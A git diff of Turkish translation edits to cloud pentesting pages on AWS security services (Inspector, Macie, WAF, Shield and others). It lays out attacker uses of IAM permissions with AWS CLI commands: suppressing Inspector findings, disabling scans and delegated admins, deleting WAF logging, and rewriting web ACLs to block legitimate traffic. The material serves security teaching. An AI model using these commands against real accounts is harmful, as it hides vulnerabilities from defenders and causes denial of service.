#### `inspector2:CreateFilter`, `inspector2:UpdateFilter`, `inspector2:DeleteFilter` -Bu izinlere sahip bir saldırgan, hangi zafiyetlerin ve güvenlik sorunlarının raporlanacağını veya bastırılacağını belirleyen filtreleme kurallarını manipüle edebilir (eğer **action** SUPPRESS olarak ayarlandıysa, bir bastırma kuralı oluşturulacaktır). Bu, güvenlik yöneticilerinden kritik zafiyetleri gizleyerek, bu zayıflıkları tespit edilmeden istismar etmeyi kolaylaştırabilir. Önemli filtreleri değiştirerek veya kaldırarak, bir saldırgan ayrıca sistemi alakasız bulgularla doldurarak gürültü yaratabilir ve etkili güvenlik izleme ve yanıtı engelleyebilir. +Bu izinlere sahip bir saldırgan, hangi zafiyetlerin ve güvenlik sorunlarının raporlanacağını veya bastırılacağını belirleyen filtreleme kurallarını manipüle edebilir (eğer **action** SUPPRESS olarak ayarlanmışsa, bir bastırma kuralı oluşturulacaktır). Bu, güvenlik yöneticilerinden kritik zafiyetleri gizleyerek, bu zayıflıkları tespit edilmeden istismar etmeyi kolaylaştırabilir. Önemli filtreleri değiştirerek veya kaldırarak, bir saldırgan ayrıca sistemi alakasız bulgularla doldurarak gürültü yaratabilir, bu da etkili güvenlik izleme ve yanıtı engelleyebilir. ```bash # Create aws inspector2 create-filter --action --filter-criteria --name [--reason ] @@ -283,17 +285,17 @@ aws inspector2 update-filter --filter-arn [--action ] [ # Delete aws inspector2 delete-filter --arn ``` -- **Potansiyel Etki**: Kritik zafiyetlerin gizlenmesi veya bastırılması ya da sistemi alakasız bulgularla doldurulması. +- **Potansiyel Etki**: Kritik zafiyetlerin gizlenmesi veya bastırılması ya da sistemi alakasız bulgularla doldurma. #### `inspector2:DisableDelegatedAdminAccount`, (`inspector2:EnableDelegatedAdminAccount` & `organizations:ListDelegatedAdministrators` & `organizations:EnableAWSServiceAccess` & `iam:CreateServiceLinkedRole`) Bir saldırgan, güvenlik yönetim yapısını önemli ölçüde bozabilir. - Delegated admin hesabını devre dışı bırakarak, saldırgan güvenlik ekibinin Amazon Inspector ayarlarına ve raporlarına erişimini ve yönetimini engelleyebilir. -- Yetkisiz bir admin hesabının etkinleştirilmesi, saldırgana güvenlik yapılandırmalarını kontrol etme imkanı tanır; bu, taramaları devre dışı bırakma veya kötü niyetli faaliyetleri gizlemek için ayarları değiştirme potansiyeline sahiptir. +- Yetkisiz bir admin hesabının etkinleştirilmesi, saldırgana güvenlik yapılandırmalarını kontrol etme imkanı tanır; bu, taramaları devre dışı bırakma veya kötü niyetli faaliyetleri gizlemek için ayarları değiştirme potansiyeli taşır. > [!WARNING] -> Yetkisiz hesabın, delege yönetici olabilmesi için mağdur ile aynı Organizasyon içinde olması gerekmektedir. +> Yetkisiz hesabın, delege yönetici olabilmesi için mağdur ile aynı Organizasyonda olması gerekmektedir. > > Yetkisiz hesabın delege yönetici olabilmesi için, önce meşru delege yöneticinin devre dışı bırakılması ve ardından yetkisiz hesabın delege yönetici olarak etkinleştirilmesinden önce, meşru yöneticinin organizasyondan delege yönetici olarak kaydının silinmesi gerekmektedir. Bu, aşağıdaki komut ile yapılabilir (**`organizations:DeregisterDelegatedAdministrator`** izni gereklidir): **`aws organizations deregister-delegated-administrator --account-id --service-principal [inspector2.amazonaws.com](http://inspector2.amazonaws.com/)`** ```bash @@ -316,11 +318,11 @@ aws inspector2 associate-member --account-id # Disassociate aws inspector2 disassociate-member --account-id ``` -- **Potansiyel Etki**: Ana hesapların güvenlik taramalarından hariç tutulması, zafiyetlerin tespit edilmeden istismar edilmesine olanak tanır. +- **Potansiyel Etki**: Anahtar hesapların güvenlik taramalarından hariç tutulması, zafiyetlerin tespit edilmeden istismar edilmesine olanak tanır. #### `inspector2:Disable`, (`inspector2:Enable` & `iam:CreateServiceLinkedRole`) -`inspector2:Disable` iznine sahip bir saldırgan, belirli hesaplar üzerindeki belirli kaynak türleri (EC2, ECR, Lambda, Lambda kodu) için güvenlik taramalarını devre dışı bırakabilir, bu da AWS ortamının bazı kısımlarının izlenmeden kalmasına ve saldırılara karşı savunmasız olmasına neden olur. Ayrıca, **`inspector2:Enable`** & **`iam:CreateServiceLinkedRole`** izinlerine sahip olarak, bir saldırgan şüpheli yapılandırmaların tespit edilmesini önlemek için taramaları seçici olarak yeniden etkinleştirebilir. +`inspector2:Disable` iznine sahip bir saldırgan, belirli hesaplar üzerindeki belirli kaynak türlerinde (EC2, ECR, Lambda, Lambda kodu) güvenlik taramalarını devre dışı bırakabilir, bu da AWS ortamının bazı kısımlarının izlenmeden kalmasına ve saldırılara karşı savunmasız olmasına neden olur. Ayrıca, **`inspector2:Enable`** & **`iam:CreateServiceLinkedRole`** izinlerine sahip olarak, bir saldırgan şüpheli yapılandırmaların tespit edilmesini önlemek için taramaları seçici olarak yeniden etkinleştirebilir. > [!WARNING] > Bu işlem, yetkilendirilmiş yönetici tarafından gerçekleştirilmelidir. @@ -334,7 +336,7 @@ aws inspector2 enable --resource-types <{EC2, ECR, LAMBDA, LAMBDA_CODE}> [--acco #### `inspector2:UpdateOrganizationConfiguration` -Bu izne sahip bir saldırgan, Amazon Inspector organizasyonunuzun yapılandırmalarını güncelleyebilir ve bu da yeni üye hesaplar için etkinleştirilen varsayılan tarama özelliklerini etkileyebilir. +Bu izne sahip bir saldırgan, Amazon Inspector organizasyonunuzun yapılandırmalarını güncelleyebilir ve bu, yeni üye hesapları için etkinleştirilen varsayılan tarama özelliklerini etkileyebilir. > [!WARNING] > Bu işlem, yetkilendirilmiş yönetici tarafından gerçekleştirilmelidir. @@ -345,12 +347,12 @@ aws inspector2 update-organization-configuration --auto-enable --tags aws inspector2 untag-resource --resource-arn --tag-keys ``` -- **Potansiyel Etki**: Açıkların gizlenmesi, uyum raporlamasının kesintiye uğraması, güvenlik otomasyonunun kesintiye uğraması ve maliyet tahsisinin kesintiye uğraması. +- **Potansiyel Etki**: Güvenlik açıklarının gizlenmesi, uyum raporlamasının kesintiye uğraması, güvenlik otomasyonunun kesintiye uğraması ve maliyet tahsisinin kesintiye uğraması. ## Referanslar diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md index c64277bb4..b7846cdcb 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md @@ -6,12 +6,12 @@ ## Macie -Amazon Macie, bir AWS hesabındaki verileri **otomatik olarak tespit etmek, sınıflandırmak ve tanımlamak** için tasarlanmış bir hizmet olarak öne çıkmaktadır. **Makine öğrenimi** kullanarak verileri sürekli izler ve analiz eder, esasen **cloud trail event** verilerini ve kullanıcı davranış kalıplarını inceleyerek olağandışı veya şüpheli etkinlikleri tespit etmeye ve bildirmeye odaklanır. +Amazon Macie, bir AWS hesabındaki verileri **otomatik olarak tespit etmek, sınıflandırmak ve tanımlamak** için tasarlanmış bir hizmet olarak öne çıkmaktadır. **Makine öğrenimi** kullanarak verileri sürekli izler ve analiz eder, esas olarak **cloud trail event** verilerini ve kullanıcı davranış kalıplarını inceleyerek olağandışı veya şüpheli etkinlikleri tespit etmeye ve bildirmeye odaklanır. Amazon Macie'nin Ana Özellikleri: 1. **Aktif Veri İncelemesi**: AWS hesabında çeşitli eylemler gerçekleşirken verileri aktif olarak incelemek için makine öğrenimi kullanır. -2. **Anomali Tespiti**: Düzensiz etkinlikleri veya erişim kalıplarını tanımlar, potansiyel veri maruziyeti risklerini azaltmak için uyarılar oluşturur. +2. **Anomali Tespiti**: Düzensiz etkinlikleri veya erişim kalıplarını tanımlar, potansiyel veri sızıntısı risklerini azaltmak için uyarılar oluşturur. 3. **Sürekli İzleme**: Amazon S3'te yeni verileri otomatik olarak izler ve tespit eder, zamanla veri erişim kalıplarına uyum sağlamak için makine öğrenimi ve yapay zeka kullanır. 4. **NLP ile Veri Sınıflandırması**: Farklı veri türlerini sınıflandırmak ve yorumlamak için doğal dil işleme (NLP) kullanır, bulguları önceliklendirmek için risk puanları atar. 5. **Güvenlik İzleme**: API anahtarları, gizli anahtarlar ve kişisel bilgiler gibi güvenlik açısından hassas verileri tanımlar, veri sızıntılarını önlemeye yardımcı olur. @@ -38,7 +38,7 @@ Gösterge paneli verileri çeşitli bölümlere ayırır, bunlar arasında: - S3 Nesneleri (zaman aralığı, ACL, PII'ye göre) - Yüksek riskli CloudTrail olayları/kullanıcıları - Etkinlik Konumları -- CloudTrail kullanıcı kimliği türleri ve daha fazlası. +- CloudTrail kullanıcı kimlik türleri ve daha fazlası. ### Kullanıcı Sınıflandırması @@ -51,7 +51,7 @@ Kullanıcılar, API çağrılarının risk seviyesine göre katmanlara ayrılır ### Kimlik Türleri -Kimlik türleri, isteklerin kaynağını belirten Root, IAM kullanıcı, Varsayılan Rol, Federated User, AWS Hesabı ve AWS Servisi'ni içerir. +Kimlik türleri, isteklerin kaynağını belirten Root, IAM kullanıcı, Üstlenilen Rol, Federated User, AWS Hesabı ve AWS Servisi'ni içerir. ### Veri Sınıflandırması @@ -60,7 +60,7 @@ Veri sınıflandırması şunları kapsar: - İçerik Türü: Tespit edilen içerik türuna göre. - Dosya Uzantısı: Dosya uzantısına göre. - Tema: Dosyalar içindeki anahtar kelimelere göre kategorize edilir. -- Regex: Belirli regex desenlerine göre kategorize edilir. +- Regex: Belirli regex kalıplarına göre kategorize edilir. Bu kategoriler arasındaki en yüksek risk, dosyanın nihai risk seviyesini belirler. @@ -104,10 +104,10 @@ aws macie2 list-custom-data-identifiers #### Post Exploitation > [!TIP] -> Bir saldırganın perspektifinden, bu hizmet saldırganı tespit etmek için değil, depolanan dosyalardaki hassas bilgileri tespit etmek için yapılmıştır. Bu nedenle, bu hizmet **bir saldırgana hassas bilgileri** bulmasında yardımcı olabilir.\ +> Bir saldırganın perspektifinden, bu hizmet saldırganı tespit etmek için değil, depolanan dosyalardaki hassas bilgileri tespit etmek için yapılmıştır. Bu nedenle, bu hizmet **bir saldırgana, bucket'lar içindeki hassas bilgileri bulmasında yardımcı olabilir.**\ > Ancak, belki de bir saldırgan, kurbanın uyarılar almasını engellemek ve o bilgileri daha kolay çalmak için bunu bozmakla da ilgilenebilir. -TODO: PR'lar hoş karşılanır! +TODO: PR'lar memnuniyetle karşılanır! ## References diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md index 9369abb90..86a3ac910 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md @@ -6,7 +6,7 @@ **Security Hub**, **AWS hesapları**, hizmetler ve desteklenen üçüncü taraf ortak ürünlerden güvenlik **verilerini** toplar ve **güvenlik** eğilimlerinizi analiz etmenize ve en yüksek öncelikli güvenlik sorunlarını belirlemenize yardımcı olur. -Hesaplar arasında güvenlikle ilgili uyarıları **merkezileştirir** ve bunları görüntülemek için bir UI sağlar. En büyük sınırlama, yalnızca hesaplar arasında uyarıları **merkezileştirmesi**, bölgeler arasında değil olmasıdır. +**Hesaplar arasında güvenlikle ilgili uyarıları merkezi hale getirir** ve bunları görüntülemek için bir UI sağlar. En büyük sınırlama, **bölgeler arasında uyarıları merkezi hale getirmemesidir**, yalnızca hesaplar arasında. **Özellikler** diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md index eeae9159e..20703c040 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md @@ -6,9 +6,9 @@ AWS Shield, **dağıtılmış hizmet reddi saldırılarına** karşı **altyapınızı korumaya yardımcı olmak** için tasarlanmıştır. -**AWS Shield Standard**, **ücretsizdir** ve **DDoS koruması** sunar; bu, daha yaygın olan katman üç, **ağ katmanı** ve katman dört, **taşıma katmanı** DDoS saldırılarına karşıdır. Bu koruma, hem CloudFront hem de Route 53 ile entegre edilmiştir. +**AWS Shield Standard**, **herkes için ücretsizdir** ve bazı yaygın katman üç, **ağ katmanı**, ve katman dört, **taşıma katmanı**, DDoS saldırılarına karşı **DDoS koruması** sunar. Bu koruma, hem CloudFront hem de Route 53 ile entegre edilmiştir. -**AWS Shield Advanced**, ek bir maliyetle, daha geniş bir AWS hizmetleri yelpazesi için DDoS saldırılarına karşı **daha yüksek bir koruma seviyesi** sunar. Bu gelişmiş seviye, EC2, CloudFront, ELB üzerinde çalışan web uygulamalarınıza ve ayrıca Route 53'e karşı koruma sağlar. Korunan bu ek kaynak türlerine ek olarak, Standard'a kıyasla daha yüksek düzeyde DDoS koruması sunulmaktadır. Ayrıca, **AWS'de DRT olarak bilinen 24 saat, yedi gün uzman DDoS yanıt ekibine erişiminiz olacaktır.** +**AWS Shield Advanced**, ek bir maliyetle, daha geniş bir AWS hizmetleri yelpazesi için DDoS saldırılarına karşı **daha yüksek bir koruma seviyesi** sunar. Bu gelişmiş seviye, EC2, CloudFront, ELB üzerinde çalışan web uygulamalarınıza ve ayrıca Route 53'e karşı koruma sağlar. Korunan bu ek kaynak türlerine ek olarak, Standard'a kıyasla sunulan DDoS koruma seviyeleri artırılmıştır. Ayrıca, **AWS'de DRT olarak bilinen 24 saat, yedi gün özel bir DDoS yanıt ekibine erişiminiz olacaktır**. Shield'ın Standard versiyonu katman üç ve katman dört saldırılara karşı koruma sunarken, **Advanced ayrıca katman yedi, uygulama, saldırılarına karşı koruma sunar.** diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md index b51ae38d0..4d393d603 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md @@ -10,7 +10,7 @@ Trusted Advisor, **AWS hesaplarınızı optimize etmek için öneriler** sunan b 1. **Maliyet Optimizasyonu:** Harcamaları azaltmak için kaynakları yeniden yapılandırma önerileri sunar. 2. **Performans:** Potansiyel performans darboğazlarını belirler. -3. **Güvenlik:** Zayıf güvenlik yapılandırmalarını veya güvenlik açıklarını tarar. +3. **Güvenlik:** Zayıf güvenlik yapılandırmaları veya güvenlik açıklarını tarar. 4. **Hata Toleransı:** Hizmet dayanıklılığını ve hata toleransını artırmak için uygulama önerileri sunar. Trusted Advisor'ın kapsamlı özellikleri yalnızca **AWS iş veya kurumsal destek planları** ile erişilebilir. Bu planlar olmadan, erişim **altı temel kontrol** ile sınırlıdır ve esasen performans ve güvenliğe odaklanır. @@ -32,7 +32,7 @@ Trusted Advisor'ın kapsamlı özellikleri yalnızca **AWS iş veya kurumsal des 5. Hizmet Sınırları 6. S3 Bucket İzinleri -#### Ana Kontroller +#### Temel Kontroller İş veya kurumsal destek planı olmayan kullanıcılara sınırlıdır: @@ -64,7 +64,7 @@ Güvenlik tehditlerini tanımlamaya ve düzeltmeye odaklanan bir kontrol listesi AWS Trusted Advisor, belirlenen en iyi uygulamalara dayalı olarak AWS hizmetlerinin optimizasyonunu, performansını, güvenliğini ve hata toleransını sağlamak için kritik bir araç olarak işlev görür. -## **Kaynaklar** +## **Referanslar** - [https://cloudsecdocs.com/aws/services/logging/other/#trusted-advisor](https://cloudsecdocs.com/aws/services/logging/other/#trusted-advisor) diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md index 79d2c14ae..f57036e3b 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md @@ -6,7 +6,7 @@ ## AWS WAF -AWS WAF, web uygulamalarını veya API'leri çeşitli web istismarlarına karşı korumak için tasarlanmış bir **web uygulama güvenlik duvarı**dır. Kullanıcılara, SQL enjeksiyonu veya çapraz site betikleme gibi tipik saldırı vektörlerini azaltan **güvenlik kuralları** oluşturarak gelen trafiği kontrol etme imkanı sunar ve ayrıca özel filtreleme kuralları tanımlayarak bunu yapar. +AWS WAF, web uygulamalarını veya API'leri çeşitli web saldırılarına karşı korumak için tasarlanmış bir **web uygulama güvenlik duvarı**dır. Kullanıcılara, SQL enjeksiyonu veya çapraz site betikleme gibi tipik saldırı vektörlerini azaltan **güvenlik kuralları** oluşturarak gelen trafiği kontrol etme imkanı sunar ve ayrıca özel filtreleme kuralları tanımlayarak bunu yapar. ### Temel kavramlar @@ -18,22 +18,22 @@ Web ACL, web uygulamalarınıza veya API'lerinize uygulayabileceğiniz bir kural Kural Grubu, birden fazla Web ACL'ye uygulayabileceğiniz yeniden kullanılabilir bir kural koleksiyonudur. Kural grupları, farklı web uygulamaları veya API'ler arasında tutarlı kural setlerini yönetmeye ve sürdürmeye yardımcı olur. -Her kural grubunun ilişkili bir **kapasitesi** vardır; bu, kurallarınızı, kural gruplarınızı ve web ACL'lerinizi çalıştırmak için kullanılan işletim kaynaklarını hesaplamaya ve kontrol etmeye yardımcı olur. Değeri oluşturma sırasında belirlendikten sonra, değiştirilmesi mümkün değildir. +Her kural grubunun ilişkili bir **kapasitesi** vardır; bu, kurallarınızı, kural gruplarınızı ve web ACL'lerinizi çalıştırmak için kullanılan işletim kaynaklarını hesaplamaya ve kontrol etmeye yardımcı olur. Oluşturma sırasında değeri belirlendikten sonra, değiştirilmesi mümkün değildir. #### Kural Bir kural, AWS WAF'nin gelen web isteklerini incelemek için kullandığı bir dizi koşulu tanımlar. İki ana kural türü vardır: -1. **Düzenli Kural**: Bu kural türü, web isteklerini kabul etme, engelleme veya sayma kararını vermek için belirli koşulları kullanır. -2. **Oran Tabanlı Kural**: Belirli bir IP adresinden beş dakikalık bir süre içinde gelen istekleri sayar. Burada, kullanıcılar bir eşik tanımlar ve bir IP'den gelen istek sayısı bu limiti beş dakika içinde aşarsa, o IP'den gelen sonraki istekler, istek oranı eşik altına düşene kadar engellenir. Oran tabanlı kurallar için minimum eşik **2000 istektir**. +1. **Normal Kural**: Bu kural türü, web isteklerini kabul etme, engelleme veya sayma kararını vermek için belirli koşulları kullanır. +2. **Oran Tabanlı Kural**: Belirli bir IP adresinden gelen istekleri beş dakikalık bir süre içinde sayar. Burada, kullanıcılar bir eşik tanımlar ve bir IP'den gelen istek sayısı bu sınırı beş dakika içinde aşarsa, o IP'den gelen sonraki istekler, istek oranı eşik altına düşene kadar engellenir. Oran tabanlı kurallar için minimum eşik **2000 istektir**. #### Yönetilen Kurallar -AWS WAF, AWS ve AWS Marketplace satıcıları tarafından yönetilen önceden yapılandırılmış kural setleri sunar. Bu kural setleri, yaygın tehditlere karşı koruma sağlar ve yeni güvenlik açıklarını ele almak için düzenli olarak güncellenir. +AWS WAF, AWS ve AWS Marketplace satıcıları tarafından sürdürülen önceden yapılandırılmış, yönetilen kural setleri sunar. Bu kural setleri, yaygın tehditlere karşı koruma sağlar ve yeni güvenlik açıklarını ele almak için düzenli olarak güncellenir. #### IP Seti -IP Seti, izin vermek veya engellemek istediğiniz IP adresleri veya IP adresi aralıklarının bir listesidir. IP setleri, IP tabanlı kuralları yönetmeyi kolaylaştırır. +IP Seti, izin vermek veya engellemek istediğiniz IP adresleri veya IP adresi aralıklarının bir listesidir. IP setleri, IP tabanlı kuralları yönetme sürecini basitleştirir. #### Regex Desen Seti @@ -41,11 +41,11 @@ Regex Desen Seti, web isteklerinde aramak için desenleri tanımlayan bir veya d #### Kilit Tokeni -Kilit Tokeni, WAF kaynaklarını güncellerken eşzamanlılık kontrolü için kullanılır. Bu, değişikliklerin aynı kaynağı güncellemeye çalışan birden fazla kullanıcı veya işlem tarafından yanlışlıkla üzerine yazılmadığından emin olur. +Kilit Tokeni, WAF kaynaklarını güncellerken eşzamanlılık kontrolü için kullanılır. Bu, değişikliklerin birden fazla kullanıcı veya işlemin aynı kaynağı güncellemeye çalışırken kazara üzerine yazılmadığından emin olmasını sağlar. #### API Anahtarları -AWS WAF'deki API Anahtarları, belirli API işlemlerine yapılan istekleri kimlik doğrulamak için kullanılır. Bu anahtarlar şifrelenir ve erişimi kontrol etmek ve yalnızca yetkili kullanıcıların WAF yapılandırmalarında değişiklik yapmasını sağlamak için güvenli bir şekilde yönetilir. +AWS WAF'deki API Anahtarları, belirli API işlemlerine yapılan istekleri kimlik doğrulamak için kullanılır. Bu anahtarlar şifrelenir ve güvenli bir şekilde yönetilir, böylece yalnızca yetkili kullanıcıların WAF yapılandırmalarında değişiklik yapabilmesi sağlanır. - **Örnek**: CAPTCHA API'sinin entegrasyonu. @@ -68,19 +68,19 @@ AWS WAF'deki kapsam parametresi, WAF kurallarının ve yapılandırmalarının b Her AWS hesabı şunları yapılandırabilir: -- **Her tür için 100 koşul** (Regex için yalnızca **10 koşul** izin verilir, ancak bu limit artırılabilir). +- **Her tür için 100 koşul** (Regex için yalnızca **10 koşul** izin verilir, ancak bu sınır artırılabilir). - **100 kural** ve **50 Web ACL**. - Maksimum **5 oran tabanlı kural**. - Uygulama yük dengeleyicisi ile WAF uygulandığında **saniyede 10,000 istek** geçişi. #### Kural eylemleri -Eylemler, her kurala atanır ve seçenekler şunlardır: +Her kural için eylemler atanır ve seçenekler şunlardır: -- **İzin Ver**: İstek, uygun CloudFront dağıtımına veya Uygulama Yük Dengeleyicisine yönlendirilir. +- **İzin Ver**: İstek, uygun CloudFront dağıtımına veya Uygulama Yük Dengeleyicisine iletilir. - **Engelle**: İstek hemen sonlandırılır. - **Say**: Kuralın koşullarını karşılayan istekleri sayar. Bu, kural testleri için yararlıdır, kuralın doğruluğunu onaylamak için İzin Ver veya Engelle olarak ayarlamadan önce. -- **CAPTCHA ve Mücadele:** İsteğin bir bot tarafından gelmediği, CAPTCHA bulmacaları ve sessiz mücadeleler kullanılarak doğrulanır. +- **CAPTCHA ve Mücadele:** İsteğin bir bot tarafından gelmediği CAPTCHA bulmacaları ve sessiz mücadeleler kullanılarak doğrulanır. Eğer bir istek Web ACL içindeki hiçbir kuralla eşleşmiyorsa, **varsayılan eylem** (İzin Ver veya Engelle) uygulanır. Bir Web ACL içinde tanımlanan kural yürütme sırası kritik öneme sahiptir ve genellikle şu sırayı takip eder: @@ -90,7 +90,7 @@ Eğer bir istek Web ACL içindeki hiçbir kuralla eşleşmiyorsa, **varsayılan #### CloudWatch Entegrasyonu -AWS WAF, izleme için CloudWatch ile entegre olur ve AllowedRequests, BlockedRequests, CountedRequests ve PassedRequests gibi metrikler sunar. Bu metrikler varsayılan olarak her dakika rapor edilir ve iki hafta boyunca saklanır. +AWS WAF, izleme için CloudWatch ile entegre olur ve AllowedRequests, BlockedRequests, CountedRequests ve PassedRequests gibi metrikler sunar. Bu metrikler varsayılan olarak her dakika raporlanır ve iki hafta boyunca saklanır. ### Sayım @@ -192,7 +192,7 @@ aws wafv2 get-mobile-sdk-release --platform --release-version > > Ancak, bir saldırgan bu hizmeti kesintiye uğratmakla da ilgilenebilir, böylece web siteleri WAF tarafından korunmaz. -Çoğu Silme ve Güncelleme işlemlerinde **lock token** sağlamanız gerekecektir. Bu token, kaynaklar üzerinde eşzamanlılık kontrolü için kullanılır ve değişikliklerin birden fazla kullanıcı veya sürecin aynı kaynağı güncellemeye çalışırken kazara üzerine yazılmadığından emin olur. Bu token'ı elde etmek için, belirli kaynak üzerinde ilgili **list** veya **get** işlemlerini gerçekleştirebilirsiniz. +Silme ve Güncelleme işlemlerinin çoğunda **lock token** sağlamak gerekli olacaktır. Bu token, kaynaklar üzerinde eşzamanlılık kontrolü için kullanılır ve değişikliklerin birden fazla kullanıcı veya sürecin aynı kaynağı güncellemeye çalışırken yanlışlıkla üzerine yazılmadığından emin olur. Bu token'ı elde etmek için belirli kaynak üzerinde ilgili **list** veya **get** işlemlerini gerçekleştirebilirsiniz. #### **`wafv2:CreateRuleGroup`, `wafv2:UpdateRuleGroup`, `wafv2:DeleteRuleGroup`** @@ -243,8 +243,8 @@ aws wafv2 create-rule-group --name BlockLegitimateIPsRuleGroup --capacity 1 --vi Bu izinlerle, bir saldırgan şunları yapabilir: -- Yeni bir Web ACL oluşturmak, kötü niyetli trafiği geçiren veya meşru trafiği engelleyen kurallar eklemek, böylece WAF'ı işe yaramaz hale getirmek veya hizmet reddine neden olmak. -- Mevcut Web ACL'leri güncellemek, daha önce engellenmiş SQL enjeksiyonu veya çapraz site betikleme gibi saldırılara izin verecek şekilde kuralları değiştirmek veya geçerli istekleri engelleyerek normal trafik akışını bozmak. +- Kötü niyetli trafiği geçiren veya meşru trafiği engelleyen kurallar ekleyerek yeni bir Web ACL oluşturmak, bu da WAF'ı işe yaramaz hale getirir veya hizmet reddine neden olur. +- Mevcut Web ACL'leri güncelleyerek, daha önce engellenmiş SQL enjeksiyonu veya çapraz site betikleme gibi saldırılara izin verecek şekilde kuralları değiştirmek veya geçerli istekleri engelleyerek normal trafik akışını bozmak. - Bir Web ACL'yi silmek, etkilenen kaynakları tamamen korumasız bırakmak ve geniş bir web saldırısı yelpazesine maruz bırakmak. > [!NOTE] @@ -259,7 +259,7 @@ aws wafv2 update-web-acl --name --id --default-action -- # Delete Web ACL aws wafv2 delete-web-acl --name --id --lock-token --scope | CLOUDFRONT --region=us-east-1> ``` -Aşağıdaki örnekler, belirli bir IP kümesinden gelen meşru trafiği engellemek için bir Web ACL'sini nasıl güncelleyeceğinizi göstermektedir. Eğer kaynak IP bu IP'lerden hiçbiriyle eşleşmiyorsa, varsayılan eylem de onu engellemek olacaktır ve bu bir DoS'a neden olabilir. +Aşağıdaki örnekler, belirli bir IP kümesinden meşru trafiği engellemek için bir Web ACL'sini nasıl güncelleyeceğinizi göstermektedir. Eğer kaynak IP bu IP'lerden hiçbiriyle eşleşmiyorsa, varsayılan eylem de onu engellemek olacaktır ve bu bir DoS'a neden olabilir. **Orijinal Web ACL**: ```json @@ -333,7 +333,7 @@ aws wafv2 update-web-acl --name AllowLegitimateIPsWebACL --scope REGIONAL --id 1 #### **`wafv2:AssociateWebACL`, `wafv2:DisassociateWebACL`** -**`wafv2:AssociateWebACL`** izni, bir saldırganın web ACL'lerini (Erişim Kontrol Listeleri) kaynaklarla ilişkilendirmesine izin vererek, güvenlik kontrollerini atlatmasına, yetkisiz trafiğin uygulamaya ulaşmasına olanak tanıyabilir; bu da SQL enjeksiyonu veya çapraz site betikleme (XSS) gibi istismarlarla sonuçlanabilir. Tersine, **`wafv2:DisassociateWebACL`** izni ile saldırgan, güvenlik korumalarını geçici olarak devre dışı bırakabilir ve kaynakları tespit edilmeden zafiyetlere maruz bırakabilir. +**`wafv2:AssociateWebACL`** izni, bir saldırganın web ACL'leri (Erişim Kontrol Listeleri) kaynaklarla ilişkilendirmesine izin vererek, güvenlik kontrollerini atlatmasına, yetkisiz trafiğin uygulamaya ulaşmasına olanak tanıyabilir; bu da SQL enjeksiyonu veya çapraz site betikleme (XSS) gibi istismarlarla sonuçlanabilir. Tersine, **`wafv2:DisassociateWebACL`** izni ile saldırgan, güvenlik korumalarını geçici olarak devre dışı bırakabilir ve kaynakları tespit edilmeden zafiyetlere maruz bırakabilir. Korunan kaynak türüne bağlı olarak ek izinler gerekecektir: @@ -344,7 +344,7 @@ Korunan kaynak türüne bağlı olarak ek izinler gerekecektir: - cognito-idp:AssociateWebACL - ec2:AssociateVerifiedAccessInstanceWebAcl - elasticloadbalancing:SetWebAcl -- **Ayrı** +- **Ayrıştır** - apigateway:SetWebACL - apprunner:DisassociateWebAcl - appsync:SetWebACL @@ -395,11 +395,11 @@ aws wafv2 delete-regex-pattern-set --name --scope # Delete logging configuration aws wafv2 delete-logging-configuration --resource-arn [--log-scope ] [--log-type ] ``` -**Potansiyel Etki:** Güvenlik olaylarına dair görünürlüğü belirsizleştirir, olay yanıt sürecini zorlaştırır ve AWS WAF ile korunan ortamlarda gizli kötü niyetli faaliyetleri kolaylaştırır. +**Potansiyel Etki:** Güvenlik olaylarına dair belirsiz görünürlük, olay yanıt sürecini zorlaştırır ve AWS WAF ile korunan ortamlarda gizli kötü niyetli faaliyetleri kolaylaştırır. #### **`wafv2:DeleteAPIKey`** @@ -431,7 +431,7 @@ aws wafv2 tag-resource --resource-arn --tags # Untag aws wafv2 untag-resource --resource-arn --tag-keys ``` -**Potansiyel Etki**: Kaynak manipülasyonu, bilgi sızıntısı, maliyet manipülasyonu ve operasyonel kesinti. +**Olası Etki**: Kaynak manipülasyonu, bilgi sızıntısı, maliyet manipülasyonu ve operasyonel kesinti. ## Referanslar diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md index 98a63e674..617b219bd 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md @@ -4,13 +4,13 @@ ## Temel Bilgiler -Amazon Simple Email Service (Amazon SES), **e-postaları göndermek ve almak** için tasarlanmıştır. Kullanıcıların, işlem, pazarlama veya bildirim e-postalarını verimli ve güvenli bir şekilde ölçeklenebilir olarak göndermesine olanak tanır. Diğer AWS hizmetleriyle **iyi bir şekilde entegre olur**, her boyuttaki işletmeler için e-posta iletişimini yönetmek için sağlam bir 